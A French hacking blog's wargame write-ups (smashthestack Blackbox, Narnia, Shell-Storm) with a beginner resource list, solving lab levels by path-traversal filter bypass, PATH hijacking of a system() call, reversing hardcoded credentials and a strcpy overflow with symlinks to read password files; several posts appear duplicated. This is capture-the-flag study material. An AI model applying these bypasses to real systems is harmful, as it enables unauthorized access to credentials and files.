Salut!
Beaucoup de personnes doivent se demander comment évoluer en hacking ou en sécurité informatique?
Sur IRC il n'est pas rare de voir des nouveaux demander : "Comment on commence à hacker?", question qui a l'air futile mais qui est semble toute réelle. Ce qu'on ne nous dit pas quand on commence que le hacking est une aventure de longue haleine, c'est de la recherche, de la patience, de la passion et beaucoup d'autres choses (en plus de la bière ;)). Ca on le découvre nous mêmes après tout et c'est assez jouissif quand on arrive à faire certaines choses et qu'on atteint nos objectifs.
Je me suis posé cette question d'innombrable fois, c'est assez frustrant car on connaît déjà la réponse mais nous manquons cruellement de temps ou nous sommes atteints de flémmingites aigues.
Je mets ici quelques liens que j'ai trouver assez sympa pour évoluer dans le domaine du hacking et/ou de la sécurité informatique.
Je ne serais tenu responsable des actions que vous tireriez des connaissances que vous aurez acquis de ces liens ;).
Wargames
http://wargame.nuitduhack.com/
http://www.smpctf.com/
http://www.intruded.net/
http://www.smashthestack.org/
http://www.overthewire.org/wargames/
Challenges
http://www.honeynet.org/
http://www.crackmes.de/
Documentation
http://secdocs.lonerunners.net/
www.phrack.org
www.defcon.org
www.blackhat.org
www.hackinthebox.org
www.ccc.de
www.thc.de
Mirroirs MadChat
http://www.corelan.be:8800/
Divers
http://www.intern0t.net/
http://www.woodmann.com/
www.google.fr (on trouve tout de tout ;))
http://www.deamoncrack.fr.st/
C'est loin d'être une liste exhaustive de bonnes sources d'information, cherchez avec Google et vous trouverez d'autres perles ;).
Au pire, n'hésitez pas à venir m'attraper (ou quelqu'un d'autre) sur IRC tout en montrant que vous faites des efforts :).
J'ai aussi quelques conseils (à prendre avec des pincettes vu le débutant que je suis :p) :
- s'amuser
- s'accrocher
- lire, lire, lire
- pratiquer, pratiquer, pratiquer
- chercher, chercher, chercher, CHERCHER
Et je finis avec "l'infameuse" doc' de Eric S. Raymond : How to become a hacker . Il y a une partie de vrai mais ne pas tout prendre au sens propre.
Nous avons TOUJOURS des choses à apprendre et chaque jour apporte son lot de nouveautés. Chaque personne avance à sa vitesse, l'important est d'avoir du FUN et de s'AMUSER.
Le hacking c'est du boulot mais c'est aussi du fun ;).
Voilà pour aujourd'hui,
Have phun,
m_101
jeudi 21 octobre 2010
dimanche 3 octobre 2010
[Wargame] Blackbox at smashthestack.org : level 4
Oh déjà le level4? :)
C'est la bonne surprise que j'ai eu. Ce n'est pas un challenge orienté applicatif mais plus web (enfin à mon sens) :).
Voilà le code du level :
Les "/../" et "/./" sont filtrés et celà ne permet pas (à priori) de lire un fichier arbitraire via un path traversal.
En analysant le code, voilà ce que le programme fait :
- On récupère un chemin venant de l'utilisateur
- On enlève tous les '/' et '.' en début de la chaine soumise par l'utilisateur
- On filtre les "/../" puis "/./"
Ce qu'on va attaquer est donc la fonction de filtrage : strreplace().
Il y a 2 problêmes dans son utilisation :
- "/../" est filtré avant "/./", en effet si on filtrait "/./" en premier, ça serait plus difficile à bypasser
- la fonction strreplace() ne fait pas le remplacement des chaînes de manières recursive, il est donc possible de les reconstruire si crafté correctement
Et là ça me fait étrangement penser aux failles de filtrage qu'on peut voir sur certaines applications web :
- filtre sur <script> : <scri<script>pt>, après filtrage on re-obtient <script> si filtrage non récursif.
On va ici utiliser le même principe, on veut reconstruire "/../". Pour celà il suffit d'injecter des chaînes comme "/./.././", après filtrage "/../" sera reconstruit.
Essayons :
Pawn ;).
m_101
C'est la bonne surprise que j'ai eu. Ce n'est pas un challenge orienté applicatif mais plus web (enfin à mon sens) :).
Voilà le code du level :
#include <iostream>
#include <fstream>
#include <string>
std::string strreplace(const char *msg, const char *replace, const char *with)
{
std::string ret;
while(*msg) {
if(strncmp(msg, replace, strlen(replace)) == 0) {
ret += with;
// Skip all in msg until we have another match
msg++;
for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
if(strncmp(msg, replace, strlen(replace)) == 0)
break;
msg++;
}
continue;
} else
ret += *msg;
msg++;
}
return ret;
}
int main(int argc, char **argv)
{
if(argc < 2) {
std::cout << "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" << std::endl;
std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" << std::endl;
return 1;
}
std::string start_path = "/usr/share/level5/";
std::string relative_path = "";
char *ptr;
ptr = argv[1];
while(*ptr == '/' || *ptr == '.')
ptr++;
relative_path = strreplace(ptr, "/../", "");
relative_path = strreplace(relative_path.c_str(), "/./", "");
std::string realpath = start_path + relative_path;
std::cout << "Contents of " << realpath << ":" << std::endl;
std::ifstream file(realpath.c_str(), std::ios::in);
if(!file.is_open()) {
std::cerr << "Unable to open file" << std::endl;
return 1;
}
std::string cline;
while(!file.eof()) {
std::getline(file, cline);
std::cout << cline << std::endl;
}
return 0;
}Ici on a accès à un système de lecture de fichier "partagés". On peut voir qu'il y a un système de filtrage mis en place.Les "/../" et "/./" sont filtrés et celà ne permet pas (à priori) de lire un fichier arbitraire via un path traversal.
En analysant le code, voilà ce que le programme fait :
- On récupère un chemin venant de l'utilisateur
- On enlève tous les '/' et '.' en début de la chaine soumise par l'utilisateur
- On filtre les "/../" puis "/./"
Ce qu'on va attaquer est donc la fonction de filtrage : strreplace().
Il y a 2 problêmes dans son utilisation :
- "/../" est filtré avant "/./", en effet si on filtrait "/./" en premier, ça serait plus difficile à bypasser
- la fonction strreplace() ne fait pas le remplacement des chaînes de manières recursive, il est donc possible de les reconstruire si crafté correctement
Et là ça me fait étrangement penser aux failles de filtrage qu'on peut voir sur certaines applications web :
- filtre sur <script> : <scri<script>pt>, après filtrage on re-obtient <script> si filtrage non récursif.
On va ici utiliser le même principe, on veut reconstruire "/../". Pour celà il suffit d'injecter des chaînes comme "/./.././", après filtrage "/../" sera reconstruit.
Essayons :
level4@blackbox:~$ ./shared lyrics/./../././../././../././.././home/level5/password Contents of /usr/share/level5/lyrics/../../../../home/level5/password: Traveller
Pawn ;).
m_101
[Wargame] Blackbox at smashthestack.org : level 3 (system)
Passons maintenant au level 3.
Voilà le code de celui-ci :
Il n'y a plus qu'à modifier la variable PATH comme il faut ;).
m_101
Voilà le code de celui-ci :
#includeIci en regardant la commande executée on aurait tendance à penser à une injection de commande Unix de manière directe. Mais plus haut on voit un filtre contre celà. Il nous reste la possibilitée de faire usage de la faille system(), en effet, sous les Unixoides, l'emplacement des exécutables est défini grâce à la variable PATH. Il nous suffit de modifier cette variable et y mettre un script ou programme avec le nom qui va bien. Notre script :#include int main(int main, char **argv) { std::string command; std::string program; std::cout << "Enter the name of the program: "; std::cin >> program; for(unsigned int i = 0; i < program.length(); i++) { if(strchr(";^&|><", program[i]) != NULL) { std::cout << "Fatal error" << std::endl; return 1; } } // Execute the command to list the programs command = "/bin/ps |grep "; command += program; system(command.c_str()); return 0; }
#!/bin/sh cat /home/level4/password
Il n'y a plus qu'à modifier la variable PATH comme il faut ;).
m_101
[Wargame] Blackbox at smashthestack.org : level 1 (login)
Hello!
Enfin de retour sur Internet après quelques semaines d'absence :).
Je me suis remis à faire des challenges et je vais ici parler d'un wargame qui m'a
bien plu : http://blackbox.smashthestack.org:85/.
Il y a des failles classiques mais présentées d'une manière un peu plus intelligente.
Nous allons commencer par le level1 :
A partir de là on peut déjà avoir une petite idée de ce que le programme fait,
il y a surement une utilisation d'un strcmp() ou strncmp() simple (nous somme
au level1 après tout :)).
Voyons le code ASM.
On peut remarquer qu'il y a des noms de fonctions étranges, non compréhensible.
Après un peu de recherche, on se rend vite compte que c'est du à un mécanisme qu'on
appelle le name mangling. Ca permet entre autre le polymorphisme. C'est donc un
bon indicateur que le language utilisé est du C++.
Vu que le programme a été compilé avec G++, on va voir comment démangleer ça.
Le tool nécessaire au demangling de noms G++ est c++filt qui est fourni dans la
suite GNU.
Par exemple :
La fonction que l'on cherche est l'implémentation de l'opérateur ==.
Après un peu de recherche :
On va voir que l'opérateur == est utilisé 2 fois : une fois pour le nom de l'user
et une fois pour le password.
La partie intéressante :
On a deux emplacement statique dans le binaire : 0x80ffe5e et 0x80ffe65.
On les extraits et on a : level2 et PassFor2. Comme vous pouvez vous en douter,
on vient de trouver l'utilisateur et le mot de passe pour le niveau suivant ;).
Pour la reconstruction du code, on doit avoir quelque chose de pas très loin de ça :
Et voilà :).
Nous passons directement au niveau 3 vu que le niveau 2 est un simple buffer overflow (utilisez pattern_create, pattern_offset et gdb comme expliqués dans les autres articles ;)).
m_101
Enfin de retour sur Internet après quelques semaines d'absence :).
Je me suis remis à faire des challenges et je vais ici parler d'un wargame qui m'a
bien plu : http://blackbox.smashthestack.org:85/.
Il y a des failles classiques mais présentées d'une manière un peu plus intelligente.
Nous allons commencer par le level1 :
level1@blackbox:~$ ./login2 Username: aa Password: aa Invalid username or password
A partir de là on peut déjà avoir une petite idée de ce que le programme fait,
il y a surement une utilisation d'un strcmp() ou strncmp() simple (nous somme
au level1 après tout :)).
Voyons le code ASM.
level1@blackbox:~$ gdb login2 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disassemble main Dump of assembler code for function main: 0x0804827a <main+0>: lea 0x4(%esp),%ecx 0x0804827e <main+4>: and $0xfffffff0,%esp 0x08048281 <main+7>: pushl 0xfffffffc(%ecx) 0x08048284 <main+10>: push %ebp 0x08048285 <main+11>: mov %esp,%ebp 0x08048287 <main+13>: push %ebx 0x08048288 <main+14>: push %ecx 0x08048289 <main+15>: sub $0x30,%esp 0x0804828c <main+18>: lea 0xfffffff4(%ebp),%eax 0x0804828f <main+21>: mov %eax,(%esp) 0x08048292 <main+24>: call 0x8072ec0 <_ZNSsC1Ev> 0x08048297 <main+29>: lea 0xfffffff0(%ebp),%eax 0x0804829a <main+32>: mov %eax,(%esp) 0x0804829d <main+35>: call 0x8072ec0 <_ZNSsC1Ev> 0x080482a2 <main+40>: movl $0x80ffe48,0x4(%esp) 0x080482aa <main+48>: movl $0x8130f60,(%esp) 0x080482b1 <main+55>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc> 0x080482b6 <main+60>: lea 0xfffffff4(%ebp),%eax 0x080482b9 <main+63>: mov %eax,0x4(%esp) 0x080482bd <main+67>: movl $0x8130ec0,(%esp) 0x080482c4 <main+74>: call 0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E> 0x080482c9 <main+79>: movl $0x80ffe53,0x4(%esp) 0x080482d1 <main+87>: movl $0x8130f60,(%esp) 0x080482d8 <main+94>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc> 0x080482dd <main+99>: lea 0xfffffff0(%ebp),%eax 0x080482e0 <main+102>: mov %eax,0x4(%esp) 0x080482e4 <main+106>: movl $0x8130ec0,(%esp) 0x080482eb <main+113>: call 0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E> 0x080482f0 <main+118>: movl $0x80ffe5e,0x4(%esp) 0x080482f8 <main+126>: lea 0xfffffff4(%ebp),%eax 0x080482fb <main+129>: mov %eax,(%esp) 0x080482fe <main+132>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_> 0x08048303 <main+137>: xor $0x1,%al 0x08048305 <main+139>: test %al,%al 0x08048307 <main+141>: jne 0x8048328 <main+174> 0x08048309 <main+143>: movl $0x80ffe65,0x4(%esp) 0x08048311 <main+151>: lea 0xfffffff0(%ebp),%eax 0x08048314 <main+154>: mov %eax,(%esp) 0x08048317 <main+157>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_> 0x0804831c <main+162>: xor $0x1,%al 0x0804831e <main+164>: test %al,%al 0x08048320 <main+166>: jne 0x8048328 <main+174> 0x08048322 <main+168>: movb $0x1,0xffffffe7(%ebp) 0x08048326 <main+172>: jmp 0x804832c <main+178> 0x08048328 <main+174>: movb $0x0,0xffffffe7(%ebp) 0x0804832c <main+178>: movzbl 0xffffffe7(%ebp),%eax 0x08048330 <main+182>: test %al,%al 0x08048332 <main+184>: je 0x8048366 <main+236> 0x08048334 <main+186>: movl $0x80ffe6e,0x4(%esp) 0x0804833c <main+194>: movl $0x8130f60,(%esp) 0x08048343 <main+201>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc> 0x08048348 <main+206>: movl $0x806e0c0,0x4(%esp) 0x08048350 <main+214>: mov %eax,(%esp) 0x08048353 <main+217>: call 0x806bf10 <_ZNSolsEPFRSoS_E> 0x08048358 <main+222>: movl $0x80ffe80,(%esp) 0x0804835f <main+229>: call 0x80b5ab0 <system> 0x08048364 <main+234>: jmp 0x804838a <main+272> 0x08048366 <main+236>: movl $0x80ffe88,0x4(%esp) 0x0804836e <main+244>: movl $0x8130f60,(%esp) 0x08048375 <main+251>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc> 0x0804837a <main+256>: movl $0x806e0c0,0x4(%esp) 0x08048382 <main+264>: mov %eax,(%esp) 0x08048385 <main+267>: call 0x806bf10 <_ZNSolsEPFRSoS_E> 0x0804838a <main+272>: lea 0xfffffff0(%ebp),%eax 0x0804838d <main+275>: mov %eax,(%esp) 0x08048390 <main+278>: call 0x8074e40 <_ZNSsD1Ev> 0x08048395 <main+283>: jmp 0x80483ad <main+307> 0x08048397 <main+285>: mov %eax,0xffffffdc(%ebp) 0x0804839a <main+288>: mov 0xffffffdc(%ebp),%ebx 0x0804839d <main+291>: lea 0xfffffff0(%ebp),%eax 0x080483a0 <main+294>: mov %eax,(%esp) 0x080483a3 <main+297>: call 0x8074e40 <_ZNSsD1Ev> 0x080483a8 <main+302>: mov %ebx,0xffffffdc(%ebp) 0x080483ab <main+305>: jmp 0x80483c5 <main+331> 0x080483ad <main+307>: lea 0xfffffff4(%ebp),%eax 0x080483b0 <main+310>: mov %eax,(%esp) 0x080483b3 <main+313>: call 0x8074e40 <_ZNSsD1Ev> 0x080483b8 <main+318>: mov $0x0,%eax 0x080483bd <main+323>: mov %eax,0xffffffe0(%ebp) 0x080483c0 <main+326>: jmp 0x80483e1 <main+359> 0x080483c2 <main+328>: mov %eax,0xffffffdc(%ebp) 0x080483c5 <main+331>: mov 0xffffffdc(%ebp),%ebx 0x080483c8 <main+334>: lea 0xfffffff4(%ebp),%eax 0x080483cb <main+337>: mov %eax,(%esp) 0x080483ce <main+340>: call 0x8074e40 <_ZNSsD1Ev> 0x080483d3 <main+345>: mov %ebx,0xffffffdc(%ebp) 0x080483d6 <main+348>: mov 0xffffffdc(%ebp),%eax 0x080483d9 <main+351>: mov %eax,(%esp) 0x080483dc <main+354>: call 0x80a5180 <_Unwind_Resume> 0x080483e1 <main+359>: mov 0xffffffe0(%ebp),%eax 0x080483e4 <main+362>: add $0x30,%esp 0x080483e7 <main+365>: pop %ecx 0x080483e8 <main+366>: pop %ebx 0x080483e9 <main+367>: pop %ebp 0x080483ea <main+368>: lea 0xfffffffc(%ecx),%esp 0x080483ed <main+371>: ret End of assembler dump.
On peut remarquer qu'il y a des noms de fonctions étranges, non compréhensible.
Après un peu de recherche, on se rend vite compte que c'est du à un mécanisme qu'on
appelle le name mangling. Ca permet entre autre le polymorphisme. C'est donc un
bon indicateur que le language utilisé est du C++.
Vu que le programme a été compilé avec G++, on va voir comment démangleer ça.
Le tool nécessaire au demangling de noms G++ est c++filt qui est fourni dans la
suite GNU.
Par exemple :
level1@blackbox:~$ c++filt _ZNSsC1Ev std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()
La fonction que l'on cherche est l'implémentation de l'opérateur ==.
Après un peu de recherche :
level1@blackbox:~$ c++filt _ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_ bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
On va voir que l'opérateur == est utilisé 2 fois : une fois pour le nom de l'user
et une fois pour le password.
La partie intéressante :
0x080482f0 <main+118>: movl $0x80ffe5e,0x4(%esp) 0x080482f8 <main+126>: lea 0xfffffff4(%ebp),%eax 0x080482fb <main+129>: mov %eax,(%esp) 0x080482fe <main+132>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_> 0x08048303 <main+137>: xor $0x1,%al 0x08048305 <main+139>: test %al,%al 0x08048307 <main+141>: jne 0x8048328 <main+174> 0x08048309 <main+143>: movl $0x80ffe65,0x4(%esp) 0x08048311 <main+151>: lea 0xfffffff0(%ebp),%eax 0x08048314 <main+154>: mov %eax,(%esp) 0x08048317 <main+157>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
On a deux emplacement statique dans le binaire : 0x80ffe5e et 0x80ffe65.
On les extraits et on a : level2 et PassFor2. Comme vous pouvez vous en douter,
on vient de trouver l'utilisateur et le mot de passe pour le niveau suivant ;).
Pour la reconstruction du code, on doit avoir quelque chose de pas très loin de ça :
#include <iostream>
#include <string>
using namespace std;
int main (int argc, char *argv[]) {
string username, password;
cout << "Username: ";
cin >> username;
cout << endl << "Password: ";
cin >> password;
if (username == "level2" && password == "PassFor2")
system("/bin/sh");
else
cout << "Invalid username or password";
return 0;
}
Et voilà :).
Nous passons directement au niveau 3 vu que le niveau 2 est un simple buffer overflow (utilisez pattern_create, pattern_offset et gdb comme expliqués dans les autres articles ;)).
m_101
dimanche 29 août 2010
[Wargame] Shell-Storm August 2010
Hi people!
It's been a while, this week-end I was idling a bit on the internet when I saw shell-storm had their wargame started and there was 3h left before ending.
Here, no "tutorial" explaining how to pawn the challenges, just summing up the wargame a bit ;).
I decided to take a look and it was quite fun :).
I managed to go up to level6 in 1h20 and got stuck there.
So about the levels :
- level1 : Simple buffer overflow
- level2 : Same but the input string musn't contain 0xCD or 0x2F
- level3 : Buffer overflow in which the buffer MUST start with precise bytes
- level4 : Cleverly get the thing to print the interesting file
- level5 : It has a small protection checking for some input value before triggering the buffer overflow
- level6 : Simple format string
I let you analyze the other levels source code given by shell-storm ;).
So basically, for all the levels, I used these tools :
- metasploit pattern
- gdb
- python
And importantly, bash didn't set euid so we needed to use a payload that fix it : "bash -p payload".
That's all what was needed :).
Thanks Djo for your wargame, was pretty fun :),
m_101
- Challenges resume and sources : ShellStorm's Wargame 2010
It's been a while, this week-end I was idling a bit on the internet when I saw shell-storm had their wargame started and there was 3h left before ending.
Here, no "tutorial" explaining how to pawn the challenges, just summing up the wargame a bit ;).
I decided to take a look and it was quite fun :).
I managed to go up to level6 in 1h20 and got stuck there.
So about the levels :
- level1 : Simple buffer overflow
- level2 : Same but the input string musn't contain 0xCD or 0x2F
- level3 : Buffer overflow in which the buffer MUST start with precise bytes
- level4 : Cleverly get the thing to print the interesting file
- level5 : It has a small protection checking for some input value before triggering the buffer overflow
- level6 : Simple format string
I let you analyze the other levels source code given by shell-storm ;).
So basically, for all the levels, I used these tools :
- metasploit pattern
- gdb
- python
And importantly, bash didn't set euid so we needed to use a payload that fix it : "bash -p payload".
That's all what was needed :).
Thanks Djo for your wargame, was pretty fun :),
m_101
- Challenges resume and sources : ShellStorm's Wargame 2010
dimanche 1 août 2010
[Wargame] Narnia at intruded.net : Level 4
Bonsoir,
Et c'est parti pour le level4.
Le programme vulnérable :
Il y a ouverture d'un fichier en lecture et en écriture, si les fichiers n'existent pas on quitte le programme. La seule donnée qu'on contrôle est le nom du fichier d'entrée.
Ce n'est pas un simple overflow car si on essaie de re-écrire EIP et EBP, on aura un nom de fichier foireux dû à ifd et ofd (on ne connait pas les numéros de descripteurs de fichiers qui vont leur être attribué). Je suppose qu'il faut overflow dans ofile. On lit le fichier dans /home/level5/.passwd et on écrit dans un /tmp/lvl5pass par exemple. Regardons le code assembleur ;).
Grâce aux offsets on peut reconstruire la stack frame : stack frame :
[ebp+4] ret
[ebp] sfp
[ebp-4] arg2
[ebp-8] arg1
[ebp-12] ifd
[ebp-16] ofd
[ebp-24] ofile
...
[ebp-40] ofile
[ebp-44] ifile
...
[ebp-72] ifile
[ebp-76] buf
...
[ebp-104] buf
Taille de la zone locale : 116 octets.
L'analyse du code assembleur nous confirme bien notre hypothèse. Reste à crafter la string d'attaque ;). Sous les Unixoides, nous savons que les seuls caractères prohibés dans les noms de fichiers sont / ou NULL mais beaucoup de caractères non imprimables "ne passent pas" en console. Toute la chaine va donc forcément devoir représenter le nom de fichier d'input et une partie correspondra à celle d'output.
Voilà donc mon attaque :
Et voilà il nous reste plus qu'à récupérer le mot de passe du level 5 dans notre fichier ;).
On aurait pu éviter le symlink mais j'ai trouvé ça plus pratique, surtout si on veut lire un autre fichier :p.
Le détail du buffer d'attaque :
ifile = /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
-> fichier réellement lu : /home/level5/.passwd
ofile = /tmp/lvl5pass
Conclusion
Evitez strcpy() comme la peste à moins que vous savez ce que vous faites et vérifiez les permissions des fichiers ;). Comme quoi ne croyez pas qu'un buffer overflow sert uniquement à "owner" l'EIP ;). Ca peut parfois servir à de l'information leakage et autres joyeuseries.
Sur ce,
A un prochain article ;),
Have phun,
m_101
Et c'est parti pour le level4.
Le programme vulnérable :
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}A première vu, en regardant le code, on se rend vite compte qu'on a un strcpy(), ça pourrait être un buffer overflow.Il y a ouverture d'un fichier en lecture et en écriture, si les fichiers n'existent pas on quitte le programme. La seule donnée qu'on contrôle est le nom du fichier d'entrée.
Ce n'est pas un simple overflow car si on essaie de re-écrire EIP et EBP, on aura un nom de fichier foireux dû à ifd et ofd (on ne connait pas les numéros de descripteurs de fichiers qui vont leur être attribué). Je suppose qu'il faut overflow dans ofile. On lit le fichier dans /home/level5/.passwd et on écrit dans un /tmp/lvl5pass par exemple. Regardons le code assembleur ;).
Dump of assembler code for function main: 0x080484a4 <main+0>: push ebp 0x080484a5 <main+1>: mov ebp,esp 0x080484a7 <main+3>: push edi 0x080484a8 <main+4>: sub esp,0x74 0x080484ab <main+7>: and esp,0xfffffff0 0x080484ae <main+10>: mov eax,0x0 0x080484b3 <main+15>: add eax,0xf 0x080484b6 <main+18>: add eax,0xf 0x080484b9 <main+21>: shr eax,0x4 0x080484bc <main+24>: shl eax,0x4 0x080484bf <main+27>: sub esp,eax 0x080484c1 <main+29>: mov eax,ds:0x8048708 0x080484c6 <main+34>: mov DWORD PTR [ebp-40],eax 0x080484c9 <main+37>: mov eax,ds:0x804870c 0x080484ce <main+42>: mov DWORD PTR [ebp-36],eax 0x080484d1 <main+45>: movzx eax,WORD PTR ds:0x8048710 0x080484d8 <main+52>: mov WORD PTR [ebp-32],ax 0x080484dc <main+56>: lea edi,[ebp-30] 0x080484df <main+59>: cld 0x080484e0 <main+60>: mov ecx,0x6 0x080484e5 <main+65>: mov al,0x0 0x080484e7 <main+67>: rep stos BYTE PTR es:[edi],al 0x080484e9 <main+69>: cmp DWORD PTR [ebp+8],0x2 0x080484ed <main+73>: je 0x8048510 <main+108> 0x080484ef <main+75>: mov eax,DWORD PTR [ebp+12] 0x080484f2 <main+78>: mov eax,DWORD PTR [eax] 0x080484f4 <main+80>: mov DWORD PTR [esp+4],eax 0x080484f8 <main+84>: mov DWORD PTR [esp],0x8048718 0x080484ff <main+91>: call 0x8048384 <printf@plt> 0x08048504 <main+96>: mov DWORD PTR [esp],0xffffffff 0x0804850b <main+103>: call 0x80483a4 <exit@plt> 0x08048510 <main+108>: mov eax,DWORD PTR [ebp+12] 0x08048513 <main+111>: add eax,0x4 0x08048516 <main+114>: mov eax,DWORD PTR [eax] 0x08048518 <main+116>: mov DWORD PTR [esp+4],eax 0x0804851c <main+120>: lea eax,[ebp-72] 0x0804851f <main+123>: mov DWORD PTR [esp],eax 0x08048522 <main+126>: call 0x80483d4 <strcpy@plt> 0x08048527 <main+131>: mov DWORD PTR [esp+4],0x2 0x0804852f <main+139>: lea eax,[ebp-40] 0x08048532 <main+142>: mov DWORD PTR [esp],eax 0x08048535 <main+145>: call 0x8048394 <open@plt> 0x0804853a <main+150>: mov DWORD PTR [ebp-16],eax 0x0804853d <main+153>: cmp DWORD PTR [ebp-16],0x0 0x08048541 <main+157>: jns 0x8048562 <main+190> 0x08048543 <main+159>: lea eax,[ebp-40] 0x08048546 <main+162>: mov DWORD PTR [esp+4],eax 0x0804854a <main+166>: mov DWORD PTR [esp],0x8048750 0x08048551 <main+173>: call 0x8048384 <printf@plt> 0x08048556 <main+178>: mov DWORD PTR [esp],0xffffffff 0x0804855d <main+185>: call 0x80483a4 <exit@plt> 0x08048562 <main+190>: mov DWORD PTR [esp+4],0x0 0x0804856a <main+198>: lea eax,[ebp-72] 0x0804856d <main+201>: mov DWORD PTR [esp],eax 0x08048570 <main+204>: call 0x8048394 <open@plt> 0x08048575 <main+209>: mov DWORD PTR [ebp-12],eax 0x08048578 <main+212>: cmp DWORD PTR [ebp-12],0x0 0x0804857c <main+216>: jns 0x804859d <main+249> 0x0804857e <main+218>: lea eax,[ebp-72] 0x08048581 <main+221>: mov DWORD PTR [esp+4],eax 0x08048585 <main+225>: mov DWORD PTR [esp],0x8048750 0x0804858c <main+232>: call 0x8048384 <printf@plt> 0x08048591 <main+237>: mov DWORD PTR [esp],0xffffffff 0x08048598 <main+244>: call 0x80483a4 <exit@plt> 0x0804859d <main+249>: mov DWORD PTR [esp+8],0x1f 0x080485a5 <main+257>: lea eax,[ebp-104] 0x080485a8 <main+260>: mov DWORD PTR [esp+4],eax 0x080485ac <main+264>: mov eax,DWORD PTR [ebp-12] 0x080485af <main+267>: mov DWORD PTR [esp],eax 0x080485b2 <main+270>: call 0x80483b4 <read@plt> 0x080485b7 <main+275>: mov DWORD PTR [esp+8],0x1f 0x080485bf <main+283>: lea eax,[ebp-104] 0x080485c2 <main+286>: mov DWORD PTR [esp+4],eax 0x080485c6 <main+290>: mov eax,DWORD PTR [ebp-16] 0x080485c9 <main+293>: mov DWORD PTR [esp],eax 0x080485cc <main+296>: call 0x8048354 <write@plt> 0x080485d1 <main+301>: lea eax,[ebp-40] 0x080485d4 <main+304>: mov DWORD PTR [esp+8],eax 0x080485d8 <main+308>: lea eax,[ebp-72] 0x080485db <main+311>: mov DWORD PTR [esp+4],eax 0x080485df <main+315>: mov DWORD PTR [esp],0x8048764 0x080485e6 <main+322>: call 0x8048384 <printf@plt> 0x080485eb <main+327>: mov eax,DWORD PTR [ebp-12] 0x080485ee <main+330>: mov DWORD PTR [esp],eax 0x080485f1 <main+333>: call 0x8048364 <close@plt> 0x080485f6 <main+338>: mov eax,DWORD PTR [ebp-16] 0x080485f9 <main+341>: mov DWORD PTR [esp],eax 0x080485fc <main+344>: call 0x8048364 <close@plt> 0x08048601 <main+349>: mov DWORD PTR [esp],0x1 0x08048608 <main+356>: call 0x80483a4 <exit@plt> 0x0804860d <main+361>: nop 0x0804860e <main+362>: nop 0x0804860f <main+363>: nop End of assembler dump.
Grâce aux offsets on peut reconstruire la stack frame : stack frame :
[ebp+4] ret
[ebp] sfp
[ebp-4] arg2
[ebp-8] arg1
[ebp-12] ifd
[ebp-16] ofd
[ebp-24] ofile
...
[ebp-40] ofile
[ebp-44] ifile
...
[ebp-72] ifile
[ebp-76] buf
...
[ebp-104] buf
Taille de la zone locale : 116 octets.
L'analyse du code assembleur nous confirme bien notre hypothèse. Reste à crafter la string d'attaque ;). Sous les Unixoides, nous savons que les seuls caractères prohibés dans les noms de fichiers sont / ou NULL mais beaucoup de caractères non imprimables "ne passent pas" en console. Toute la chaine va donc forcément devoir représenter le nom de fichier d'input et une partie correspondra à celle d'output.
Voilà donc mon attaque :
mkdir -p /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/ ln -s /home/level5/.passwd /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass touch /tmp/lvl5pass chmod 777 /tmp/lvl5pass /wargame/level4 /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass cat /tmp/lvl5pass
Et voilà il nous reste plus qu'à récupérer le mot de passe du level 5 dans notre fichier ;).
